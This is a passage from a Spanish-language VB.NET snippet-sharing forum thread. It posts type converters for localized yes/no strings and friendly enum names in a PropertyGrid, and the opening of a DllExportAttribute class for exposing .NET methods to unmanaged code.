            {"sm", New LocalizedBoolean(CultureInfo.GetCultureInfo("sm"), "Ioe", "Leai")}, ' Samoan
            {"sn", New LocalizedBoolean(CultureInfo.GetCultureInfo("sn"), "Yebo", "Cha")}, ' Shona
            {"so", New LocalizedBoolean(CultureInfo.GetCultureInfo("so"), "Haa", "Maya")}, ' Somali
            {"sq", New LocalizedBoolean(CultureInfo.GetCultureInfo("sq"), "Po", "Jo")}, ' Albanian
            {"sr", New LocalizedBoolean(CultureInfo.GetCultureInfo("sr"), "Да", "Не")}, ' Serbian (Cyrillic)
            {"su", New LocalizedBoolean(CultureInfo.GetCultureInfo("su"), "Iya", "Teu")}, ' Sundanese
            {"sv", New LocalizedBoolean(CultureInfo.GetCultureInfo("sv"), "Ja", "Nej")}, ' Swedish
            {"sw", New LocalizedBoolean(CultureInfo.GetCultureInfo("sw"), "Ndiyo", "Hapana")}, ' Swahili
            {"ta", New LocalizedBoolean(CultureInfo.GetCultureInfo("ta"), "ஆம்", "இல்லை")}, ' Tamil
            {"te", New LocalizedBoolean(CultureInfo.GetCultureInfo("te"), "అవును", "కాదు")}, ' Telugu
            {"tg", New LocalizedBoolean(CultureInfo.GetCultureInfo("tg"), "Ҳа", "Не")}, ' Tajik
            {"th", New LocalizedBoolean(CultureInfo.GetCultureInfo("th"), "ใช่", "ไม่")}, ' Thai
            {"ti", New LocalizedBoolean(CultureInfo.GetCultureInfo("ti"), "እወ", "አይወ")}, ' Tigrinya
            {"tk", New LocalizedBoolean(CultureInfo.GetCultureInfo("tk"), "Hawa", "Ýok")}, ' Turkmen
            {"to", New LocalizedBoolean(CultureInfo.GetCultureInfo("to"), "ʻIo", "ʻEa")}, ' Tongan
            {"tr", New LocalizedBoolean(CultureInfo.GetCultureInfo("tr"), "Evet", "Hayır")}, ' Turkish
            {"tt", New LocalizedBoolean(CultureInfo.GetCultureInfo("tt"), "Әйе", "Юк")}, ' Tatar
            {"ug", New LocalizedBoolean(CultureInfo.GetCultureInfo("ug"), "ھەئە", "ياق")}, ' Uighur
            {"uk", New LocalizedBoolean(CultureInfo.GetCultureInfo("uk"), "Так", "Ні")}, ' Ukrainian
            {"ur", New LocalizedBoolean(CultureInfo.GetCultureInfo("ur"), "جی ہاں", "نہیں")}, ' Urdu
            {"uz", New LocalizedBoolean(CultureInfo.GetCultureInfo("uz"), "Ha", "Yo'q")}, ' Uzbek
            {"vi", New LocalizedBoolean(CultureInfo.GetCultureInfo("vi"), "Có", "Không")}, ' Vietnamese
            {"xh", New LocalizedBoolean(CultureInfo.GetCultureInfo("xh"), "Ewe", "Hayi")}, ' Xhosa
            {"yi", New LocalizedBoolean(CultureInfo.GetCultureInfo("yi"), "יאָ", "ניי")}, ' Yiddish
            {"yo", New LocalizedBoolean(CultureInfo.GetCultureInfo("yo"), "Bẹẹni", "Bẹẹkoo")}, ' Yoruba
            {"zh", New LocalizedBoolean(CultureInfo.GetCultureInfo("zh"), "是", "不")}, ' Chinese (Simplified)
            {"zu", New LocalizedBoolean(CultureInfo.GetCultureInfo("zu"), "Yebo", "Cha")} ' Zulu
        }
    End Sub

    ''' <summary>
    ''' Initializes a new instance of the <see cref="LocalizedBoolean"/> class.
    ''' </summary>
    '''
    ''' <param name="cultureNames">
    ''' A comma-separated value of the ISO 639-1 two-letter code languages (e.g.: "en,es,fr").
    ''' </param>
    '''
    ''' <param name="trueStrings">
    ''' A comma-separated value of the localized string representation for "True" boolean value (e.g.: "Yes,Sí,Oui").
    ''' </param>
    '''
    ''' <param name="falseStrings">
    ''' A comma-separated value of the localized string representation for "False" boolean value (e.g.: "No,No,Non").
    ''' </param>
    Public Sub New(cultureNames As String, trueStrings As String, falseStrings As String)
        Me.New()

        If String.IsNullOrWhiteSpace(cultureNames) Then
            Throw New ArgumentNullException(paramName:=NameOf(cultureNames))
        End If
        If String.IsNullOrWhiteSpace(trueStrings) Then
            Throw New ArgumentNullException(paramName:=NameOf(trueStrings))
        End If
        If String.IsNullOrWhiteSpace(falseStrings) Then
            Throw New ArgumentNullException(paramName:=NameOf(falseStrings))
        End If

        Dim cultureNamesArray As String() = cultureNames.Split({","c}, StringSplitOptions.RemoveEmptyEntries)
        Dim trueStringsArray As String() = trueStrings.Split({","c}, StringSplitOptions.RemoveEmptyEntries)
        Dim falseStringsArray As String() = falseStrings.Split({","c}, StringSplitOptions.RemoveEmptyEntries)

        If cultureNamesArray.Length <> trueStringsArray.Length OrElse cultureNamesArray.Length <> falseStringsArray.Length Then
            Throw New InvalidOperationException("The comma-separated values must have the same amount of tokens.")
        End If

        For i As Integer = 0 To cultureNamesArray.Length - 1
            Dim cultureName As String = cultureNamesArray(i).Trim()
            Dim trueString As String = trueStringsArray(i).Trim()
            Dim falseString As String = falseStringsArray(i).Trim()

            If cultureName.Length <> 2 Then
                Throw New InvalidOperationException("The culture name must be a ISO 639-1 two-letter code.")
            End If

            Dim localizedBoolean As New LocalizedBoolean(CultureInfo.GetCultureInfo(cultureName), trueString, falseString)
            If Me.Localizations.ContainsKey(cultureName) Then
                Me.Localizations(cultureName) = localizedBoolean
            Else
                Me.Localizations.Add(cultureName, localizedBoolean)
            End If
        Next
    End Sub

End Class

LocalizableBooleanConverter.vb
Código
  1. ''' <summary>
  2. ''' Provides conversion functionality between Boolean values and localized strings representing "True" and "False" boolean values.
  3. ''' </summary>
  4. Public Class LocalizableBooleanConverter : Inherits TypeConverter
  5.  
  6.    ''' <summary>
  7.    ''' The localized string representation for "True" boolean value.
  8.    ''' </summary>
  9.    Private trueString As String = "Yes"
  10.  
  11.    ''' <summary>
  12.    ''' The localized string representation for "False" boolean value.
  13.    ''' </summary>
  14.    Private falseString As String = "No"
  15.  
  16.    ''' <summary>
  17.    ''' Returns whether this converter can convert an object of the given type to the type of this converter,
  18.    ''' using the specified context.
  19.    ''' </summary>
  20.    '''
  21.    ''' <param name="context">
  22.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  23.    ''' </param>
  24.    '''
  25.    ''' <param name="sourceType">
  26.    ''' A <see cref="Type" /> that represents the type you want to convert from.
  27.    ''' </param>
  28.    '''
  29.    ''' <returns>
  30.    ''' <see langword="True"/> if this converter can perform the conversion; otherwise, <see langword="False"/>.
  31.    ''' </returns>
  32.    Public Overrides Function CanConvertFrom(context As ITypeDescriptorContext, sourceType As Type) As Boolean
  33.  
  34.        Return sourceType = GetType(String) OrElse MyBase.CanConvertFrom(context, sourceType)
  35.  
  36.    End Function
  37.  
  38.    ''' <summary>
  39.    ''' Returns whether this converter can convert the object to the specified type, using the specified context.
  40.    ''' </summary>
  41.    '''
  42.    ''' <param name="context">
  43.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  44.    ''' </param>
  45.    '''
  46.    ''' <param name="destinationType">
  47.    ''' A <see cref="Type"/> that represents the type you want to convert to.
  48.    ''' </param>
  49.    '''
  50.    ''' <returns>
  51.    ''' <see langword="True"/> if this converter can perform the conversion; otherwise, <see langword="False"/>.
  52.    ''' </returns>
  53.    Public Overrides Function CanConvertTo(context As ITypeDescriptorContext, destinationType As Type) As Boolean
  54.  
  55.        Return destinationType = GetType(String) OrElse MyBase.CanConvertTo(context, destinationType)
  56.  
  57.    End Function
  58.  
  59.    ''' <summary>
  60.    ''' Converts the given object to the type of this converter, using the specified context and culture information.
  61.    ''' </summary>
  62.    '''
  63.    ''' <param name="context">
  64.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  65.    ''' </param>
  66.    '''
  67.    ''' <param name="culture">
  68.    ''' The <see cref="CultureInfo"/> to use as the current culture.
  69.    ''' </param>
  70.    '''
  71.    ''' <param name="value">
  72.    ''' The <see cref="Object"/> to convert.
  73.    ''' </param>
  74.    '''
  75.    ''' <returns>
  76.    ''' An <see cref="Object"/> that represents the converted value.
  77.    ''' </returns>
  78.    <DebuggerStepperBoundary>
  79.    Public Overrides Function ConvertFrom(context As ITypeDescriptorContext, culture As Globalization.CultureInfo, value As Object) As Object
  80.  
  81.        If TypeOf value Is String Then
  82.            Dim stringValue As String = DirectCast(value, String)
  83.            If String.Equals(stringValue, Me.trueString, StringComparison.OrdinalIgnoreCase) Then
  84.                Return True
  85.            ElseIf String.Equals(stringValue, Me.FalseString, StringComparison.OrdinalIgnoreCase) Then
  86.                Return False
  87.            End If
  88.        End If
  89.  
  90.        Return MyBase.ConvertFrom(context, culture, value)
  91.  
  92.    End Function
  93.  
  94.    ''' <summary>
  95.    ''' Converts the given value object to the specified type, using the specified context and culture information.
  96.    ''' </summary>
  97.    '''
  98.    ''' <param name="context">
  99.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  100.    ''' </param>
  101.    '''
  102.    ''' <param name="culture">
  103.    ''' A <see cref="CultureInfo"/>. If null is passed, the current culture is assumed.
  104.    ''' </param>
  105.    '''
  106.    ''' <param name="value">
  107.    ''' The <see cref="Object"/> to convert.
  108.    ''' </param>
  109.    '''
  110.    ''' <param name="destinationType">
  111.    ''' The <see cref="Type"/> to convert the <paramref name="value"/> parameter to.
  112.    ''' </param>
  113.    '''
  114.    ''' <returns>
  115.    ''' An <see cref="Object"/> that represents the converted value.
  116.    ''' </returns>
  117.    <DebuggerStepperBoundary>
  118.    Public Overrides Function ConvertTo(context As ITypeDescriptorContext, culture As Globalization.CultureInfo, value As Object, destinationType As Type) As Object
  119.  
  120.        If context IsNot Nothing Then
  121.            Dim attributes As IEnumerable(Of LocalizableBooleanAttribute) =
  122.                context.PropertyDescriptor.Attributes.OfType(Of LocalizableBooleanAttribute)
  123.  
  124.            For Each attr As LocalizableBooleanAttribute In attributes
  125.                Dim uiCulture As CultureInfo = My.Application.UICulture
  126.                Dim localizedBoolean As LocalizedBoolean = Nothing
  127.                If attr.Localizations.ContainsKey(uiCulture.TwoLetterISOLanguageName) Then
  128.                    localizedBoolean = attr.Localizations(uiCulture.TwoLetterISOLanguageName)
  129.                End If
  130.  
  131.                If localizedBoolean IsNot Nothing Then
  132.                    Me.trueString = localizedBoolean.True
  133.                    Me.falseString = localizedBoolean.False
  134.                End If
  135.            Next
  136.        End If
  137.  
  138.        If destinationType = GetType(String) Then
  139.            If TypeOf value Is Boolean Then
  140.                Dim boolValue As Boolean = value
  141.                Return If(boolValue, Me.trueString, Me.falseString)
  142.            End If
  143.        End If
  144.  
  145.        Return MyBase.ConvertTo(context, culture, value, destinationType)
  146.  
  147.    End Function
  148.  
  149.    ''' <summary>
  150.    ''' Returns a collection of standard values for the data type this type converter is designed for when provided with a format context.
  151.    ''' </summary>
  152.    '''
  153.    ''' <param name="context">
  154.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context that can be used to
  155.    ''' extract additional information about the environment from which this converter is invoked.
  156.    ''' <para></para>
  157.    ''' This parameter or properties of this parameter can be null.
  158.    ''' </param>
  159.    '''
  160.    ''' <returns>
  161.    ''' A <see cref="StandardValuesCollection"/> that holds a standard set of valid values,
  162.    ''' or <see langword="null" /> if the data type does not support a standard set of values.
  163.    ''' </returns>
  164.    Public Overrides Function GetStandardValues(context As ITypeDescriptorContext) As StandardValuesCollection
  165.  
  166.        Return New StandardValuesCollection(New Boolean() {True, False})
  167.  
  168.    End Function
  169.  
  170.    ''' <summary>
  171.    ''' Returns whether this object supports a standard set of values that can be picked from a list, using the specified context.
  172.    ''' </summary>
  173.    '''
  174.    ''' <param name="context">
  175.    ''' An <see cref="ITypeDescriptorContext" /> that provides a format context.
  176.    ''' </param>
  177.    '''
  178.    ''' <returns>
  179.    ''' <see langword="True"/> if <see cref="TypeConverter.GetStandardValues"/> should be called to
  180.    ''' find a common set of values the object supports; otherwise, <see langword="False"/>.
  181.    ''' </returns>
  182.    Public Overrides Function GetStandardValuesSupported(context As ITypeDescriptorContext) As Boolean
  183.  
  184.        Return True
  185.  
  186.    End Function
  187.  
  188. End Class

NOTA: El diccionario con los idiomas y sus equivalentes para "Sí" y "No", lo ha generado ChatGPT. Puede haber fallos en las traducciones, o en los códigos ISO 639-1 de dos letras. Además, faltaría añadir muchos más idiomas: https://en.wikipedia.org/wiki/List_of_ISO_639_language_codes


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 27 Abril 2024, 01:20 am
Comparto otro type converter, para convertir los nombres de los valores de una Enum, a una representación amistosa para mostrarlos, por ejemplo, en un propertygrid.

Este convertidor está optimizado para nombres de enumeración escritos en upper/lower snake case y upper/lower camel case.

Las palabras se separan con un espacio en blanco convencional, y los guiones bajos se reemplazan por un espacio en blanco unicode.

Ejemplo de uso:

Código
  1. <TypeConverter(GetType(EnumNameFormatterConverter))>
  2. Public Enum TestEnum
  3.    MyUpperCamelCaseName
  4.    myLowerCamelCaseName
  5.    My_Upper_Snake_Case_Name
  6.    my_lower_snake_case_name
  7.  
  8.    MyMixed_value123_WTF456wtf_
  9.  
  10.    ___rare_case_STRANGE_Name___________123_aZ_Az_4_5_6_
  11. End Enum

Código
  1. <DefaultValue(TestEnum.MyUpperCamelCaseName)>
  2. Public Property Test As TestEnum = TestEnum.MyUpperCamelCaseName

Sin formato:
(https://i.imgur.com/Jm69F9v.png)

Con formato:
(https://i.imgur.com/s8xf4YE.png)



El código:

EnumNameFormatterConverter.vb
Código
  1. Imports System.ComponentModel
  2. Imports System.Globalization
  3. Imports System.Runtime.InteropServices
  4. Imports System.Text
  5.  
  6. ''' <summary>
  7. ''' Provides conversion functionality between the value names of an <see cref="[Enum]"/> to a friendly string representation.
  8. ''' <para></para>
  9. ''' This converter is optimized for enum names written in either upper/lower snake case or upper/lower camel case:
  10. ''' <list type="bullet">
  11. '''     <item><description>Snake case: Each word is separated by underscores (e.g.: "My_Value").</description></item>
  12. '''     <item><description>Camel case: Each word is separated by a capitalized letter (e.g.: "MyValue").</description></item>
  13. ''' </list>
  14. ''' </summary>
  15. Public NotInheritable Class EnumNameFormatterConverter : Inherits EnumConverter
  16.  
  17.    ''' <summary>
  18.    ''' Initializes a new instance of the <see cref="EnumNameFormatterConverter"/> class.
  19.    ''' </summary>
  20.    ''' <param name="type">A <see cref="T:System.Type" /> that represents the type of enumeration to associate with this enumeration converter.</param>
  21.    Public Sub New(type As Type)
  22.        MyBase.New(type)
  23.    End Sub
  24.  
  25.    ''' <summary>
  26.    ''' Returns whether this converter can convert an object of the given type to the type of this converter,
  27.    ''' using the specified context.
  28.    ''' </summary>
  29.    '''
  30.    ''' <param name="context">
  31.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  32.    ''' </param>
  33.    '''
  34.    ''' <param name="sourceType">
  35.    ''' A <see cref="Type" /> that represents the type you want to convert from.
  36.    ''' </param>
  37.    '''
  38.    ''' <returns>
  39.    ''' <see langword="True"/> if this converter can perform the conversion; otherwise, <see langword="False"/>.
  40.    ''' </returns>
  41.    Public Overrides Function CanConvertFrom(context As ITypeDescriptorContext, sourceType As Type) As Boolean
  42.  
  43.        Return sourceType Is GetType(String) OrElse
  44.               MyBase.CanConvertFrom(context, sourceType)
  45.  
  46.    End Function
  47.  
  48.    ''' <summary>
  49.    ''' Returns whether this converter can convert the object to the specified type, using the specified context.
  50.    ''' </summary>
  51.    '''
  52.    ''' <param name="context">
  53.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  54.    ''' </param>
  55.    '''
  56.    ''' <param name="destinationType">
  57.    ''' A <see cref="Type"/> that represents the type you want to convert to.
  58.    ''' </param>
  59.    '''
  60.    ''' <returns>
  61.    ''' <see langword="True"/> if this converter can perform the conversion; otherwise, <see langword="False"/>.
  62.    ''' </returns>
  63.    Public Overrides Function CanConvertTo(context As ITypeDescriptorContext, destinationType As Type) As Boolean
  64.  
  65.        Return destinationType Is GetType(String) OrElse
  66.               MyBase.CanConvertTo(context, destinationType)
  67.  
  68.    End Function
  69.  
  70.    ''' <summary>
  71.    ''' Converts the given object to the type of this converter, using the specified context and culture information.
  72.    ''' </summary>
  73.    '''
  74.    ''' <param name="context">
  75.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  76.    ''' </param>
  77.    '''
  78.    ''' <param name="culture">
  79.    ''' The <see cref="CultureInfo"/> to use as the current culture.
  80.    ''' </param>
  81.    '''
  82.    ''' <param name="value">
  83.    ''' The <see cref="Object"/> to convert.
  84.    ''' </param>
  85.    '''
  86.    ''' <returns>
  87.    ''' An <see cref="Object"/> that represents the converted value.
  88.    ''' </returns>
  89.    <DebuggerStepThrough>
  90.    Public Overrides Function ConvertFrom(context As ITypeDescriptorContext, culture As CultureInfo, value As Object) As Object
  91.  
  92.        If TypeOf value Is String Then
  93.            value = DirectCast(value, String).Replace(" ", "").Replace(Convert.ToChar(&H205F), "_"c)
  94.            Return [Enum].Parse(Me.EnumType, value, ignoreCase:=True)
  95.        End If
  96.  
  97.        Return MyBase.ConvertFrom(context, culture, value)
  98.  
  99.    End Function
  100.  
  101.    ''' <summary>
  102.    ''' Converts the given value object to the specified type, using the specified context and culture information.
  103.    ''' </summary>
  104.    '''
  105.    ''' <param name="context">
  106.    ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  107.    ''' </param>
  108.    '''
  109.    ''' <param name="culture">
  110.    ''' A <see cref="CultureInfo"/>. If null is passed, the current culture is assumed.
  111.    ''' </param>
  112.    '''
  113.    ''' <param name="value">
  114.    ''' The <see cref="Object"/> to convert.
  115.    ''' </param>
  116.    '''
  117.    ''' <param name="destinationType">
  118.    ''' The <see cref="Type"/> to convert the <paramref name="value"/> parameter to.
  119.    ''' </param>
  120.    '''
  121.    ''' <returns>
  122.    ''' An <see cref="Object"/> that represents the converted value.
  123.    ''' </returns>
  124.    <DebuggerStepThrough>
  125.    Public Overrides Function ConvertTo(context As ITypeDescriptorContext, culture As CultureInfo, value As Object, destinationType As Type) As Object
  126.  
  127.        If destinationType = GetType(String) Then
  128.            Dim name As String = [Enum].GetName(value.GetType(), value)
  129.            If Not String.IsNullOrEmpty(name) Then
  130.                Return Me.FormatName(name)
  131.            End If
  132.        End If
  133.  
  134.        Return MyBase.ConvertTo(context, culture, value, destinationType)
  135.  
  136.    End Function
  137.  
  138.    ''' <summary>
  139.    ''' Formats the name of a <see cref="[Enum]"/> value to a friendly name.
  140.    ''' </summary>
  141.    '''
  142.    ''' <param name="name">
  143.    ''' <see cref="[Enum]"/> value name.
  144.    ''' </param>
  145.    '''
  146.    ''' <returns>
  147.    ''' The resulting friendly name.
  148.    ''' </returns>
  149.    <DebuggerStepThrough>
  150.    Private Function FormatName(name As String) As String
  151.        Dim sb As New StringBuilder()
  152.        Dim previousChar As Char
  153.        Dim previousCharIsWhiteSpace As Boolean
  154.        Dim previousCharIsUpperLetter As Boolean
  155.        Dim previousCharIsDigit As Boolean
  156.        Dim lastParsedCharIsUnderscore As Boolean
  157.        Dim firstCapitalizedLetterIsAdded As Boolean
  158.  
  159.        For i As Integer = 0 To name.Length - 1
  160.            Dim c As Char = name(i)
  161.            If i = 0 Then
  162.                If c.Equals("_"c) Then
  163.                    sb.Append(Convert.ToChar(Convert.ToChar(&H205F)))
  164.                    lastParsedCharIsUnderscore = True
  165.                Else
  166.                    sb.Append(Char.ToUpper(c))
  167.                    firstCapitalizedLetterIsAdded = True
  168.                End If
  169.                Continue For
  170.            End If
  171.  
  172.            previousChar = sb.Chars(sb.Length - 1)
  173.            previousCharIsWhiteSpace = previousChar.Equals(" "c) OrElse previousChar.Equals(Convert.ToChar(&H205F))
  174.            previousCharIsUpperLetter = Char.IsUpper(previousChar)
  175.            previousCharIsDigit = Char.IsDigit(previousChar)
  176.  
  177.            If Char.IsLetter(c) Then
  178.                If previousCharIsDigit AndAlso Not previousCharIsWhiteSpace Then
  179.                    sb.Append(" "c)
  180.                End If
  181.  
  182.                If Char.IsUpper(c) Then
  183.                    If previousCharIsUpperLetter Then
  184.                        sb.Append(c)
  185.                    ElseIf Not previousCharIsWhiteSpace Then
  186.                        sb.Append(" "c)
  187.                        sb.Append(c)
  188.                    Else
  189.                        sb.Append(c)
  190.                    End If
  191.                    firstCapitalizedLetterIsAdded = True
  192.  
  193.                Else
  194.                    If Not firstCapitalizedLetterIsAdded Then
  195.                        sb.Append(Char.ToUpper(c))
  196.                        firstCapitalizedLetterIsAdded = True
  197.                    Else
  198.                        sb.Append(c)
  199.                    End If
  200.  
  201.                End If
  202.  
  203.            ElseIf Char.IsDigit(c) Then
  204.                If Not previousCharIsDigit AndAlso Not previousCharIsWhiteSpace Then
  205.                    sb.Append(" "c)
  206.                End If
  207.                sb.Append(c)
  208.  
  209.            ElseIf c.Equals("_"c) Then
  210.                If lastParsedCharIsUnderscore OrElse Not previousCharIsWhiteSpace Then
  211.                    sb.Append(Convert.ToChar(&H205F)) ' Unicode white-space: "&#8195;"
  212.                    lastParsedCharIsUnderscore = True
  213.                End If
  214.  
  215.            Else
  216.                sb.Append(c)
  217.                lastParsedCharIsUnderscore = False
  218.  
  219.            End If
  220.  
  221.        Next i
  222.  
  223.        Return sb.ToString()
  224.    End Function
  225.  
  226. End Class
  227.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 27 Abril 2024, 03:03 am
Comparto un enfoque y uso alternativo al código que he publicado arriba. Este enfoque nos permite atribuir nombres específicos a una enumeración para mostrarlos en un property grid.

Modo de empleo:

Código
  1. Imports System.Componentmodel
  2.  
  3. <TypeConverter(GetType(EnumDescriptionConverter))>
  4. Public Enum TestEnum
  5.    <Description("My Upper Camel Case Name")> MyUpperCamelCaseName = 1
  6.    <Description("My Lower Camel Case Name")> myLowerCamelCaseName = 2
  7.    <Description("My Upper Snake Case Name")> My_Upper_Snake_Case_Name = 3
  8.    <Description("My lower snake case Name")> my_lower_snake_case_Name = 4
  9.    <Description("My Mixed value 123 QWERTY 456 wtf_")> MyMixed_value123_QWERTY456wtf_ = 5
  10.    <Description("Rare case STRANGE Name 123 aZ Az 456")> ___rare_case_STRANGE_Name___________123_aZ_Az_4_5_6_ = 6
  11. End Enum

Código
  1. <DefaultValue(TestEnum.MyUpperCamelCaseName)>
  2. Public Property Test As TestEnum = TestEnum.MyUpperCamelCaseName

El código:

Código
  1. Imports System.ComponentModel
  2. Imports System.Globalization
  3. Imports System.Reflection
  4.  
  5. Public NotInheritable Class EnumDescriptionConverter : Inherits EnumConverter
  6.  
  7. ''' <summary>
  8. ''' Initializes a new instance of the <see cref="EnumDescriptionConverter"/> class.
  9. ''' </summary>
  10. ''' <param name="type">A <see cref="T:System.Type" /> that represents the type of enumeration to associate with this enumeration converter.</param>
  11. Public Sub New(type As Type)
  12. MyBase.New(type)
  13. End Sub
  14.  
  15. ''' <summary>
  16. ''' Returns whether this converter can convert the object to the specified type, using the specified context.
  17. ''' </summary>
  18. '''
  19. ''' <param name="context">
  20. ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  21. ''' </param>
  22. '''
  23. ''' <param name="destinationType">
  24. ''' A <see cref="Type"/> that represents the type you want to convert to.
  25. ''' </param>
  26. '''
  27. ''' <returns>
  28. ''' <see langword="True"/> if this converter can perform the conversion; otherwise, <see langword="False"/>.
  29. ''' </returns>
  30. Public Overrides Function CanConvertTo(context As ITypeDescriptorContext, destinationType As Type) As Boolean
  31.  
  32. Return destinationType Is GetType(String) OrElse
  33.   MyBase.CanConvertTo(context, destinationType)
  34.  
  35. End Function
  36.  
  37. ''' <summary>
  38. ''' Returns whether this converter can convert an object of the given type to the type of this converter,
  39. ''' using the specified context.
  40. ''' </summary>
  41. '''
  42. ''' <param name="context">
  43. ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  44. ''' </param>
  45. '''
  46. ''' <param name="sourceType">
  47. ''' A <see cref="Type" /> that represents the type you want to convert from.
  48. ''' </param>
  49. '''
  50. ''' <returns>
  51. ''' <see langword="True"/> if this converter can perform the conversion; otherwise, <see langword="False"/>.
  52. ''' </returns>
  53. Public Overrides Function CanConvertFrom(context As ITypeDescriptorContext, sourceType As Type) As Boolean
  54.  
  55. Return sourceType Is GetType(String) OrElse
  56.   MyBase.CanConvertFrom(context, sourceType)
  57.  
  58. End Function
  59.  
  60. ''' <summary>
  61. ''' Converts the given value object to the specified type, using the specified context and culture information.
  62. ''' </summary>
  63. '''
  64. ''' <param name="context">
  65. ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  66. ''' </param>
  67. '''
  68. ''' <param name="culture">
  69. ''' A <see cref="CultureInfo"/>. If null is passed, the current culture is assumed.
  70. ''' </param>
  71. '''
  72. ''' <param name="value">
  73. ''' The <see cref="Object"/> to convert.
  74. ''' </param>
  75. '''
  76. ''' <param name="destinationType">
  77. ''' The <see cref="Type"/> to convert the <paramref name="value"/> parameter to.
  78. ''' </param>
  79. '''
  80. ''' <returns>
  81. ''' An <see cref="Object"/> that represents the converted value.
  82. ''' </returns>
  83. <DebuggerStepThrough>
  84. Public Overrides Function ConvertTo(context As ITypeDescriptorContext, culture As CultureInfo, value As Object, destinationType As Type) As Object
  85.  
  86. Dim fi As FieldInfo = Me.EnumType.GetField([Enum].GetName(Me.EnumType, value))
  87. Dim dna As DescriptionAttribute = CType(Attribute.GetCustomAttribute(fi, GetType(DescriptionAttribute)), DescriptionAttribute)
  88. Return If(dna IsNot Nothing, dna.Description, value.ToString())
  89.  
  90. End Function
  91.  
  92. ''' <summary>
  93. ''' Converts the given object to the type of this converter, using the specified context and culture information.
  94. ''' </summary>
  95. '''
  96. ''' <param name="context">
  97. ''' An <see cref="ITypeDescriptorContext"/> that provides a format context.
  98. ''' </param>
  99. '''
  100. ''' <param name="culture">
  101. ''' The <see cref="CultureInfo"/> to use as the current culture.
  102. ''' </param>
  103. '''
  104. ''' <param name="value">
  105. ''' The <see cref="Object"/> to convert.
  106. ''' </param>
  107. '''
  108. ''' <returns>
  109. ''' An <see cref="Object"/> that represents the converted value.
  110. ''' </returns>
  111. <DebuggerStepThrough>
  112. Public Overrides Function ConvertFrom(context As ITypeDescriptorContext, culture As CultureInfo, value As Object) As Object
  113.  
  114. For Each fi As FieldInfo In Me.EnumType.GetFields()
  115. Dim dna As DescriptionAttribute = CType(Attribute.GetCustomAttribute(fi, GetType(DescriptionAttribute)), DescriptionAttribute)
  116. If (dna IsNot Nothing) AndAlso DirectCast(value, String) = dna.Description Then
  117. Return [Enum].Parse(Me.EnumType, fi.Name, ignoreCase:=False)
  118. End If
  119. Next fi
  120.  
  121. Return [Enum].Parse(Me.EnumType, DirectCast(value, String))
  122.  
  123. End Function
  124.  
  125. End Class
  126.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 16 Enero 2025, 15:27 pm
Clase DllExportAttribute

La clase DllExportAttribute indica que un método puede ser exportado como una función de C, desde una biblioteca de enlace dinámico (DLL) de .NET, lo que hace que el método sea invocable desde código no administrado.

La clase DllExportAttribute está destinada únicamente a replicar y mejorar la clase de atributo DllExportAttribute de plugins como:

  • DllExport de 3F (https://github.com/3F/DllExport)
  • UnmanagedExports de Huajitech (https://github.com/huajitech/UnmanagedExports)
  • UnmanagedExports.Repack.Upgrade de StevenEngland (https://github.com/stevenengland/UnmanagedExports.Repack.Upgrade)

Permitiendo que un programador pueda utilizar esta clase de atributo sin necesidad de tener el plugin instalado en sus proyectos de Visual Studio.

Sigue siendo estrictamente necesario utilizar alguno de los proyectos mencionados para habilitar la exportación de funciones .NET.



Capturas de pantalla de la documentación interactiva:

(http://i.imgur.com/dYHVNHDl.png) (https://i.imgur.com/dYHVNHD.png)

(https://i.imgur.com/j6OhmUR.png)

(https://i.imgur.com/6DWzUh6.png)

(https://i.imgur.com/KUUmreE.png)

(https://i.imgur.com/WT2tpNp.png)



El código fuente:

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 16-January-2025
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Usage Examples "
  15.  
  16. ' VB.NET
  17. ' <DllExport(NameOf(MyStringFunction), CallingConvention.StdCall)>
  18. ' Public Shared Function MyStringFunction() As <MarshalAs(UnmanagedType.BStr)> String
  19. '     Return "Hello World!"
  20. ' End Function
  21.  
  22. ' C#
  23. ' [DllExport(nameof(MyStringFunction), CallingConvention.StdCall)]
  24. ' [return: MarshalAs(UnmanagedType.BStr)]
  25. ' public static string MyStringFunction() {
  26. '     return "Hello World!";
  27. ' }
  28.  
  29. #End Region
  30.  
  31. #Region " Imports "
  32.  
  33. Imports System.Runtime.InteropServices
  34.  
  35. #End Region
  36.  
  37. ' ReSharper disable once CheckNamespace
  38.  
  39. #Region " DllExportAttribute "
  40.  
  41. Namespace DevCase.Runtime.Attributes
  42.  
  43.    ''' <summary>
  44.    ''' The <see cref="DllExportAttribute"/> class indicates that a method can be
  45.    ''' exported as a C function from a .NET dynamic-link library (DLL) file,
  46.    ''' making the method callable from unmanaged code.
  47.    ''' <para></para>
  48.    ''' The <see cref="DllExportAttribute"/> class is solely intended to replicate and improve the
  49.    ''' <b>DllExportAttribute</b> attribute class from plugins like:
  50.    ''' <list type="bullet">
  51.    '''   <item><b>DllExport</b> by 3F
  52.    '''     <para></para>
  53.    '''     <see href="https://github.com/3F/DllExport"/>
  54.    '''   </item>
  55.    '''  
  56.    '''   <item><b>UnmanagedExports</b> by Huajitech
  57.    '''     <para></para>
  58.    '''     <see href="https://github.com/huajitech/UnmanagedExports"/>
  59.    '''   </item>
  60.    '''  
  61.    '''   <item><b>UnmanagedExports.Repack.Upgrade</b> by StevenEngland
  62.    '''     <para></para>
  63.    '''     <see href="https://github.com/stevenengland/UnmanagedExports.Repack.Upgrade"/>
  64.    '''   </item>
  65.    ''' </list>
